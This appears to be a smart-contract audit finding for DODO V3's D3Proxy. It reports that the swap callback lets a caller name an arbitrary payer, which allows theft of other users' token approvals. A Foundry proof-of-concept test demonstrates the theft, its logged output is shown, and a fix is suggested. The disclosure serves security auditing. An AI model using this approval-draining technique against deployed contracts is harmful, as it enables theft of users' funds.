jprod15

medium

# A malicious user can steal all allowances

## Summary
Due to the fact that the function d3MMSwapCallBack allows setting an arbitrary payer, this can be exploited by a hacker to steal funds
## Vulnerability Detail

    function d3MMSwapCallBack(address token, uint256 value, bytes calldata _data) external override {
        require(ID3Vault(_D3_VAULT_).allPoolAddrMap(msg.sender), "D3PROXY_CALLBACK_INVALID");
        SwapCallbackData memory decodeData;
        decodeData = abi.decode(_data, (SwapCallbackData));
        _deposit(decodeData.payer, msg.sender, token, value);//@audit-issue payer can be steal their token aprovals 
    }

As can see, decodeData = abi.decode(_data, (SwapCallbackData)) allows setting an arbitrary payer

      function _deposit(address from, address to, address token, uint256 value) internal {
        if (token == _WETH_ && address(this).balance >= value) {
            // pay with WETH9
            IWETH(_WETH_).deposit{value: value}(); // wrap only what is needed to pay
            IWETH(_WETH_).transfer(to, value);
        } else {
            // pull payment
            IDODOApproveProxy(_DODO_APPROVE_PROXY_).claimTokens(token, from, to, value);
        }
    }

run this for demonstrated stealing funds in D3Trading.t.sol

    function setVaultAsset() public {
        token1.mint(user1, 1000 * 1e8);
        vm.prank(user1);
        token1.approve(address(dodoApprove), type(uint256).max);
        token2.mint(user1, 1000 * 1e18);
        vm.prank(user1);
        token2.approve(address(dodoApprove), type(uint256).max);

        token3.mint(user1, 1000 * 1e18);
        vm.prank(user1);
        token3.approve(address(dodoApprove), type(uint256).max);

    +    token2.mint(user2, 1000 * 1e18); //@audit- info add this line here 
        

        mockUserQuota.setUserQuota(user1, address(token1), 1000 * 1e8);
        userDeposit(user1, address(token1), 500 * 1e8);
        mockUserQuota.setUserQuota(user1, address(token2), 1000 * 1e18);
        userDeposit(user1, address(token2), 500 * 1e18);
        mockUserQuota.setUserQuota(user1, address(token3), 1000 * 1e18);
        userDeposit(user1, address(token3), 500 * 1e18);
        mockUserQuota.setUserQuota(user1, address(weth), 1000 * 1e18);
    }

add this function test 

    function test_steal_NormalBuyTokens() public {
       
       
        uint256 beforeBalance2 = token2.balanceOf(user1);
        uint256 beforeBalance3 = token3.balanceOf(user1);
        uint256 beforebalanceu2 = token2.balanceOf(user2);
        console.log("balance before token2 user2",beforebalanceu2);
        console.log("balance before token2 user1",beforeBalance2);
        console.log("balance before token3 user1",beforeBalance3);

         
        vm.prank(user2);
        token2.approve(address(dodoApprove), type(uint256).max);

        SwapCallbackData memory swapData;
        swapData.data = "";
        swapData.payer = user2;//@audit-info user that have prior approval in dodoApprove

         vm.prank(user1);
        uint256 receiveToToken = d3Proxy.buyTokens(
            address(d3MM),
            user1,
            address(token2),
            address(token3),
            1 ether,
            30 ether,
            abi.encode(swapData),
            block.timestamp + 1000
        );
    
        console.log(" ");
        console.log("after steal tokens user 2 ");
        console.log(" ");
        uint256 afterBalance2 = token2.balanceOf(user1);
        uint256 afterBalance3 = token3.balanceOf(user1);
        uint256 afterBalance3u2 = token2.balanceOf(user2);

        console.log("balance after  token2 user2",afterBalance3u2);
        console.log("balance after  token2 user1",afterBalance2);
        console.log("balance after  token3 user1",afterBalance3);

        
    }

the result 

        Running 1 test for test/DODOV3MM/D3MM/D3Trading.t.sol:D3TradingTest
        [PASS] test_steal_NormalBuyTokens() (gas: 521072)
        Logs:
        balance before token2 user2 1000000000000000000000
        balance before token2 user1 500000000000000000000
        balance before token3 user1 500000000000000000000

        after steal tokens user 2

        balance after  token2 user2 999916398649987685431
        balance after  token2 user1 500000000000000000000
        balance after  token3 user1 501000000000000000000

        Test result: ok. 1 passed; 0 failed; finished in 4.52s

## Impact
users can loss funds 
## Code Snippet
https://github.com/sherlock-audit/2023-06-dodo/blob/main/new-dodo-v3/contracts/DODOV3MM/periphery/D3Proxy.sol#L138-L143

https://github.com/sherlock-audit/2023-06-dodo/blob/main/new-dodo-v3/contracts/DODOV3MM/periphery/D3Proxy.sol#L220
## Tool used

Manual Review

## Recommendation
To prevent a malicious user from setting an arbitrary payer, you could add a mechanism that requires the user to approve the payer